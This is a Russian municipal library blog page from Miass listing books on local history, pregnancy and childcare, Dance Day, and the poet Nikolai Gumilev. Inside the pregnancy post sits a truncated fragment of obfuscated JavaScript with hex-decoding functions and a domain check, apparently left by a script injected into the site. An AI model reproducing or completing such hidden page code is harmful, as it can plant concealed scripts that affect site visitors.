МКУ "ЦБС" | Муниципальное казенное учреждение «Централизованная библиотечная система»

Библиотеки Миасса

Рубрика: ПроЧтение

Аватар пользователя Зоя Кулахметова
  • Ты помни: мира не узнаешь, не зная края своего!

    Ты помни: мира не узнаешь, не зная края своего!

    Фонд Центральной городской библиотеке им. Ю.Н.Либединского пополнился книгами краеведческой тематики. Вниманию читателей предоставляется возможность познакомиться с интереснейшими страницами истории родного края.

    IMG_8678

    Миасс – наша судьба:   [ док.- биогр. сб. / сост., ред. Н.И.Година ]. – Челябинск, 2006. – 384с., [4] л.ил.

    Книга составлена из документов, биографий и воспоминаний членов Областного общественного фонда имени В.П. Макеева «Миасская долина» и рассчитана на широкий круг читателей.

    IMG_8682

     

    Судьбою не обласканные дети: письма детей погибших защитников Отечества / [сост. А. А. Готина]. – Изд. 2-е, испр. и доп. – Челябинск: Полиграф-Мастер, 2007. – 503 с.: ил.

    Второе издание книги « Судьбою  не обласканные дети» выпущено по материалам первого издания, автором идеи и составителем которого была Валентина Михайловна Новикова. Составителем и редактором  второго издания является Готина Алла Андреевна. Книга выпущена в честь 65-летия Победы Советского народа  над фащизмом, при поддержке Правительства и Губернатора Челябинской области П.И.Сумина. Автором проекта является Гладышев В.А.

    IMG_8684

    Тюлюк. Уральский фавор: фотоальбом / [сост. Васильев В.В,  Терентьев М.М]. – Миасс: Митенки – фотоклуб ЮУрГУ, 2011. – 109 с.: ил.

    Этот фотоальбом, фрагмент исторического пути России XXI века, происходящий в одном из районов горнозаводского края Южного Урала на стыке с Башкирией, в селе Тюлюк.

    IMG_8686

    Краеведческий сборник «Истоки» Выпуск №7 2014 г.

    В данном сборнике опубликованы работы не только научных сотрудников Миасского краеведческого музея, но и работников городских библиотек, краеведов, школьников а так же научных сотрудников других музеев области. В издании собраны материалы научно-исследовательских работ, описания фондовых коллекций, сценарии тематических мероприятий проводимых в музее.

     

     

  • ТРУЖЕНИКАМ ТЫЛА Миасского округа посвящается

    ТРУЖЕНИКАМ ТЫЛА Миасского округа посвящается

    http://www.youtube.com/watch?v=aWJpSG-VsEY
    Не где-то далеко и не кто-то чужой,
    а здесь,  на Миасской земле наши бабушки и дедушки,
    тогда еще очень молодые, а порой и совсем дети,
    изо всех сил приближали Победу над фашистскими захватчиками.
    Низкий им поклон и вечная благодарность!
  • Путь к жизни

    Путь к жизни

    «Мы ждем ребенка» – за этой фразой скрывается море чувств и эмоций, которые испытывает каждая из сторон. Центральная городская библиотека им. Ю.Н.Либединского предлагает новые книги о том, как пройти сложный путь от зарождения новой жизни до первой улыбки Вашего малыша.

    В_ожидании_ребёнка_2005_книга

    В ожидании ребенка. Я скоро стану мамой. Беременность. Роды. Ребенок до года. – Ростов н/Д: Изд-во «Владис», 2006 г – 736 с.
    Эта книга отвечает на множество вопросов, связанных с течением беременности и родами. Читатель узнает о возможных тревогах и осложнениях, о различных вариантах родоразрешения.

    Путь к жизни

    Дальке, Р. Путь к жизни. Беременность и роды/ Рудигер Дальке, Маргит Дальке, Фолькер Цан. — СПб.: Весь, 2011. — 464 с. — (Младенчество).
    Беременность — это время повышенной чувствительности женщины — как физической, так и эмоциональной. Рудигер Дальке, Маргит Дальке, Фолькер Цан предлагают читательницам прислушаться к себе и обнаружить те присущие каждой женщине силу и интуицию, которые могут помочь ребенку без проблем появиться на этот свет. Авторы настоятельно рекомендуют отнестись к беременности и родам как к празднику жизни, вместо того чтобы ассоциировать их с физическим дискомфортом, больницей и болью.
    Не умаляя достоинств и заслуг современной медицины, авторы делают акцент на альтернативных, нетрадиционных методах родовспоможения и ухода за младенцем.

    секреты материнства

    Кэпрару, Э. Секреты материнства / Эмил Кэпрару, Герта Кэпрару. — Самара: АВС, 1999. — 592 с.
    Вы ожидаете рождения ребенка? Вы счастливы и полны оптимизма? И, конечно же, хотите знать, как избежать непредвиденных трудностей в первые месяцы беременности и при появлении в вашей семье ребенка? Какие предпринять меры, чтобы малыш рос здоровым, физически крепким, разумным и добрым, чтобы он доставлял вам радость? На все эти и многие другие волнующие вас вопросы дает ответы эта книга. Написана она известными румынскими учеными и представляет собой справочное руководство по сохранению вашего здоровья в течение беременности и послеродового периода, а также по уходу за ребенком, начиная от зачатия и кончая шестилетним возрастом. Подчеркивается ответственность всей семьи за воспитанием малыша.

    До беременности 90 дней

    Огл, Э. До беременности: 90 — дневное руководство по подготовке к здоровому зачатию / Эммили Огл и Лиза Маззулло. — М.: АСТ, 2008. — 442 с. — (Желанный ребёнок).
    Книга «До беременности» — это полностью детализированный источник информации, который готовит будущих матерей и отцов зачать наиболее здорового ребенка, сделать беременность и роды легче и поддерживать хорошее духовное и физическое состояние ребенка.
    Созданная двумя опытными профессионалами здравоохранения, эта уникальная настольная книга не только обсуждает виртуально каждый аспект подготовки к зачатию, который влияет на здоровье ребенка, но и рассказывает вам, как управлять каждым из них. Авторы излагают, что нужно делать родителям, начиная, по крайней мере, за девяносто дней до зачатия.

    Кертис

    Кертис, Г. Всё о беременности в вопросах и ответах: самые подробные ответы на самые распространенные вопросы / Глэйд Кертис. — М.: Эксмо, 2005. — 416 с.
    По роду своей деятельности автору книги Глэйду Кертису — известному американскому акушеру-гинекологу — ежедневно приходится отвечать на самые разнообразные и многочисленные вопросы о протекании беременности, родах и послеродовом уходе, которые волнуют каждую женщину, когда она ожидает ребенка. Ответы на самые распространенные из них он собрал в этой книге, и из нее вы узнаете: как справиться с токсикозом и превышением веса? Как проводят внутриутробное обследование плода? Как протекают роды? Как кормить новорожденного? Какие физические упражнения полезны после родов? Воспользовавшись этим практическим пособием, вы сможете избежать многих проблем и с легким сердцем преодолеть путь длиною в 9 месяцев.

    1000 советов

    10 000 советов для тех, кто ждёт ребёнка / [авт.-сост. Л. С. Конева]. — Минск: Харвест, 2007. — 304 с.
    В книге, рассчитанной на будущих мам и пап, в простой и доступной форме рассказывается о самых важных периодах материнства: беременности, рождении, питании и развитии младенцев.

     

    // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return «miasslib.ru»},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

  • Танец – есть чувств и эмоций палитра

    Танец – есть чувств и эмоций палитра

    29 апреля  —  Международный день танца. По решению ЮНЕСКО этот праздник, посвященный всем стилям танца, отмечается с 1982 года в день рождения французского балетмейстера Жана Жоржа Новерра, который вошел в историю как «отец современного балета». Главная цель праздника — объединение всех направлений танца как единой формы искусства. В этот день талантливым представителям в области танца присуждается премия «Бенуа де ля денс». Награда вручается в виде статуэтки, изображающей танцующую пару.

    а

  • «Еще не раз вы вспомните меня…»

    «Еще не раз вы вспомните меня…»

    Гумилев1В 2016 году исполняется 130 лет со дня рождения очень интересного и необычного поэта. Поэта — акмеиста, яркого представителя поэтов серебряного века — Николая Степановича Гумилёва.
    Кроме книг самого поэта Н. Гумилёва, библиотеки МКУ «Централизованная библиотечная система» г.Миасса располагают произведениями, рассказывающими о его жизни и творчестве.

    Изучаем биографию

    «Да. В любви, на войне и в картах
    Я буду, счастлив всегда!…
    Ни на море, ни на суше
    Для меня опасности нет…»
    И был он очень несчастлив,
    Как несчастен каждый поэт.
    И.Одоевцева «Баллада о Гумилеве»

    Книги:

     Бронгулеев, В. В. Посредине странствия земного [Текст] : документальная повесть о жизни и творчестве Н.Гумилева:Годы 1886-1913 / Бронгулеев В.В. — М : Мысль, 1995. — 351с. : ил. — 47.25 р. Имеются экземпляры в отделах: ЦГБ, 20.
     Николай Гумилёв в воспоминаниях современников : Репринтное издание.- М. : «Вся Москва» , 1990. – 316с. Имеются экземпляры в отделах: ЦГБ.
     Павловский, А.И. Гумилев Н.С. / А.И.Павловский // Русские писатели. ХХ век. Биоблиографический словарь. В 2ч. Ч.1./Редкол.Н.А.Грознова и др. Под ред.Н.Н.Скатова. – М.: Просвещение, 1998. – С.411-415. Имеются экземпляры в отделах: ЦГБ.
     Рыжов, В. К. Николай Гумилев [Текст] / В. К. Рыжов // Сто великих имен Серебряного века. — 2011. — С.89-97. Имеются экземпляры в отделах: ЦГБ, ЦДБ, 20.

    Периодические издания:
    • Андрюшина, С. В. Жертва на алтарь Отечества [Текст] : великая и забытая — Первая мировая / С. В. Андрюшина // Мир библиографии. — 2014. — №6. — С.24-34.
    • Давидсон, А.Б. Николай Гумилев в Абиссинии /Давидсон А.Б.// Новая и новейшая история. — 2001. — № 6. — С. 137-148.
    • Дорогами Николая Гумилева// Литература. — 2007. — № 5. — С. 45.В статье приводится «географическая» хроника жизни поэта и основных путешествий, совершенных им.
    • Зинин С. А. Волшебная скрипка мастера: Образ художника в поэзии и прозе Николая Гумилева / С. А. Зинин // Литература в школе. — 2002. — № 3. — С. 22-24. (Биографический очерк о Николае Степановиче Гумилеве, о развитии темы художника и его служения искусству в его поэтическом творчестве и прозе)
    • Иванов Г. Петербургские зимы. Из воспоминаний о Серебряном веке / Г. Иванов // Литература в школе. – 2001. – № 7. – С. 1–5. (Воспоминания Г. Иванова о поэтах Серебряного века, с которыми он был знаком лично: Гумилев, Мандельштам, Ахматова)
    • Климчукова В. Н. О духовных основах поэзии Н. С. Гумилева / В. Н. Климчукова // Литература в школе. – 2007. – № 5. – С. 48. (О жизни и творчестве поэта Николая Гумилева.Духовные основы его внутреннего мира и поэзии)
    • Кротов, Ю.Г. Чтение как предмет библиопсихологической состоятельности личности. На примере жизнетворчества Н.Гумилева и М.Цветаевой/ Кротов Ю.Г.// Библиография. — 2001. — № 3. — С. 51-55.
    • Куклин, Л. Два Николая — Гумилев и Тихонов / Л. Куклин// Нева. — 2005. — N 2. — С. 212-225.
    • Куличенко, Н. Николай Гумилев: «Недолгий мой и горький век…» [Текст] / Н. Куличенко // Новая библиотека. — 2011. — № 8. — с.9-25
    • Полунин В. Л. Н. Гумилев – поэт, романтик, рыцарь и путешественник / В. Л. Полунин // Литература в школе. – 2007. – № 5. – С. 12–18. (Биографический очерк и обзор литературного творчества Николая Гумилева)
    • Свирина, Н. М. «И Земля — вся у наших ног!» [Текст] : о литературных путешествиях. Доп.материалы на CD/ / Н. М. Свирина // Литература (электронная версия). — 2012. — № 10. — С.10-13.
    • Сорина Л. М. Воин Первой мировой – Николай Гумилев / Л. М. Сорина // Литература в школе. – 2012. – № 1. – С. 2–4. (Военные страницы биографии Николая Гумилева)

    Анализируем творчество

    Еще не раз вы вспомните меня
    И весь мой мир волнующий и странный,
    Нелепый мир из песен и огня,
    Но меж других единый необманный.

    Он мог стать вашим тоже и не стал,
    Его вам было мало или много,
    Должно быть, плохо я стихи писал
    И вас неправедно просил у Бога.

    Гумилев2

    Книги:

     Григорьев, А.Л. Акмеизм // История Русской литературы. В 4 тт. Т.4.: Литература конца XIX — начала XX века (1881-1917)/ Редактор К.Д.Муратова. – Л.:Наука, 1983. – С.689-700. . Имеются экземпляры в отделах: ЦГБ.
     Калюжная, Л. Н.С.Гумилев/ Л.Калюжная, Г.Иванов // Калюжная, Г., Иванов, Г. Сто великих писателей. – М.: Вече, 2004. – С. 445-451. Имеются экземпляры в отделах: КХ, 1-14, 16 ,17.
     Поэзия серебряного века [Текст] : школьникам для подготовки к урокам литературы. Анализ творчества. Тезисные планы сочинений. Сочинения. — М : Стрекоза-пресс, 2002. — 192с. — (Классика для школы). Имеются экземпляры в отделах: ЦГБ, ф. 1, 4, 6, 16, 17, 20.
     Синявский, А.Д. Гумилев Н.С. / А.Д.Синявский //Краткая литературная энциклопедия. В 5тт. Т.2. Г-Л./ Под ред А.А.Суркова. – М.:Советская энциклопедия, 1964. – С.444. Имеются экземпляры в отделах: ЦГБ.

    Гумилев3Периодические издания:
    • Баевский, В.С. Стихотворение Николая Гумилева о водородной бомбе / В. С. Баевский// Звезда. — 2009. — № 4. — С. 217-223. Анализ стихотворения Николая Гумилева «Заблудившийся трамвай».
    • Белова, А. В. «Еще не появившиеся крылья…» / А. В. Белова// Русский язык в школе. — 2006. — № 2. — С. 49-54. Лингвопоэтический анализ стихотворения Н. С. Гумилева «Шестое чувство». К образу птицы в русской поэзии XX века в творчестве: А. Белого, В. Набокова, А. Ахматовой, Н. Рубцова, Н. Гумилева, Б. Пастернака, О. Мандельштама, И. Бродского, А. Тарковского.
    • Белоусова Е. И. Поэзия начала ХХ века: Факультатив. XI класс / Е. И. Белоусова // Литература в школе. – 2003. – № 4. – С. 26–27. Факультативное занятие по литературе для 11 класса по теме «Поэзия начала 20 века».
    • Верченко, А. Книга Николая Гумилева «Огненный столп» /Верченко А.// Литература. — 2001. — № 35. — С. 14.
    • Волкова, А. Читаем стихи о животных / А. Волкова// Литература. — 2006. — № 4. — С. 9-14. Знакомство со стихотворениями Н. Гумилева «Жираф», «Носорог».
    • Гаричева Е. Обзорный урок по поэзии Серебряного века: XI класс / Е. Гаричева // Литература в школе. – 2002. – № 3. – С. 30–32. Материал для обзорного урока в 11 классе по поэзии Серебряного века с использованием дополнительного материала по русской философии и искусству.
    • Грязнова, А.Т. Возвращение к истокам: Анализ стихотворения Н.С.Гумелева «Девочка» /Грязнова А.Т.// Русский язык в школе. — 2001. — № 4. — С. 67-73.
    • Есипенко Г. Н. Изучение сонета как жанра: VII класс / Г. Н. Есипенко // Литература в школе. – 2005. – № 8. – С. 29–33. Урок литературы для 7 класса. Сонет как жанр лирической поэзии. Приведены тексты сонетов К. Бальмонта «Хвала сонету», И. Северянина «Бунин», И. Бунина «Апрель» и «В отъезжем поле», Н. Гумилева «Я конквистадор в панцире железном…».
    • Заяц, С. М. Романтическая исключительность лирического «Я» в поэзии Н.С.Гумилева [Текст] / С. М. Заяц // Литература в школе. — 2015. — № 10. — С.13-16.
    • Золотарева, Л. А. «О восторгах вели разговоры…! [Текст] : читаем стихотворение Н.Гумилева «Мечты». Образ ворона / Л. Колокольцев, Е. Н. А. Золотарева // Литература. — 2012. — № 3. — С.32-34.
    • Колокольцев, Е.Н. Интонационный анализ лирических произведений / Е. Н. Колокольцев// Литература в школе. — 2008. — № 1. — С. 25-30. цв. ил. Роль интонации в худож. литературе; На примере стихов: Н. Глинка «Москва»; Ф. Тютчева «О, как убийственно…»; Н. Гумилева «Волшебная скрипка»; Б. Пастернака «Никого не будет в …»; М. Лермонтова «Когда волнуется…»; М. Цветаева «Моим стихам…».
    • Колокольцев, Е.Н. От «Сонета» до «Заблудившегося трамвая» [Текст] : лирика Николая Гумилева в школьном изучении / Е. Н. Колокольцев // Русская словесность. — 2012. — № 3. — С.18-30.
    • Малых, В. Принцип троичности в стихотворении Н.Гумилева «У цыган» [Текст] / В. Малых // Вопросы литературы. — 2013. -№ 4. — С.382-404.
    • Маркина, Е. Е. Антропоним «Машенька» в стихотворении Н. Гумилева «Заблудившийся трамвай» / Е. Е. Маркина// Русский язык в школе и дома. — 2008. — № 1. — С. 22-24. Появление антропонима «Машенька» в стихотворении не случайно, оно подчинено внутреннему развитию сюжета….
    • Маркина, Е. Е. Семантика стихотворения Н. Гумилева «Жираф» / Е. Е. Маркина// Русская словесность. — 2007. — № 6. — С. 48-56. Семантику одного из самых известных стихотворений поэта составляют постигнутые и запечатленные автором смыслы.
    • Мотеюнайте, И. Путем сравнительного анализа / И. Мотеюнайте// Литература . — 2006. — № 3. — С. 34-36. Рассматриваются стихотворения: «Мой дар убог…» Е. Боратынского и «Мой стих он не лишен…» К. Случевского; «Благовест» А. К. Толстого и «Колокола» К. К. Романова; «Кто-то едет к…» М. Цветаевой и «Я знаю, что деревья…» Н. Гумилева.
    • Никульченкова, Е. Мир волнующий и странный…: 6-7 классы / Е. Никульченкова// Литература (Прилож. к «1 Сент.»). — 2007. — № 5. — С. 14-17, 19.Уроки по творчеству Николая Гумилева.
    • Панова, Е. А. Н.Гумилев. «Я верил, я думал…» [Текст] : Анализ стихотворения / Е. А. Панова // Русский язык в школе. — 2011. — № 8. — С.46-51.
    • Поломошнова, Т. А. Прекрасный и загадочный поэт: 7 класс / Т. А. Поломошнова// Литература. — 2008. — № 12. — С. 18-20. Материалы к изучению стихотворений Н. С. Гумилева «Капитаны» и «Дождь».
    • Сиренко , Л. А. Ахматова и Гумилев: диалог двух поэтов и двух сердец [11 кл.] : урок по поэзии А.Ахматовой и Н.Гумилева / Л. А. Сиренко // Литература в школе. — 2015. — № 10. — С.34-36.
    • Степанова Г. И. Геном римлянина. О поэме Н. Гумилева «Блудный сын» / Г. И. Степанова // Литература в школе. – 2011. – № 10. – С. 18–20. Интерпретация поэмы Н. Гумилева «Блудный сын» в контексте соотношения веры и знания.
    • Степанова, Г. И. Геном римлянина [Текст] : о поэме Н.Гумилева «Блудный сын» / Г. И. Степанова // Литература в школе. — 2011. — № 10. — С.18-20.
    • Федотов О. «Вначале было слово…» Опыт верификационного и стилистического комментария к стихотворению Гумилева «Слово» / О. Федоров // Литература в школе. – 2012. – № 3. – С. 2–4. Целостный анализ стихотворения Гумилева: вдохновенный гимн слову как универсальному средству общения и уникальному инструменту искусства.
    • Федотов, О. В начале было Слово…» [Текст] : опыт версификационного и стилистического комментария к стихотворению Гумилева «Слово» / О. Федотов // Литература в школе . — 2012. — № 3. — С.2-3.
    • Шеваров, Д. Жираф под снегом: [Стихотворение Н. Гумилева «Жираф»] / Д. Шеваров // Российская газета. — 2013. — 28 нояб. — 4 дек. (№ 269). — С.30
    • Шелогурова, Г. Реликты рыцарского идеала в русской поэзии кризисной эпохи [Текст] : особенности творчества А.Блока и Н.Гумилева / Г. Шелогурова // Вопросы литературы. — 2011. — № 6. — С.205-22.

    Гумилев

     Кулакова, Е. Ю. Путь конкистадора [Текст] / Е. Ю. Кулакова // Читаем, учимся, играем . — 2011, №2. — С.4-10.
     Куличенко, Н. В. Недолгий мой и горький век… [Текст] / Н. В. Куличенко // Читаем, учимся, играем . — 2011. — №12. — С.4-11.
     Макарова, Б. А. «Сады моей души…» [Текст] / Б. А. Макарова // Игровая библиотека. — 2010. — №7. — С.32 – 39.
     Россинская, С. В. Николай Гумилев: еще не раз вы вспомните меня [Текст] / С. В. Россинская // Досуг в школе. — 2011. — №5. — С.8-19.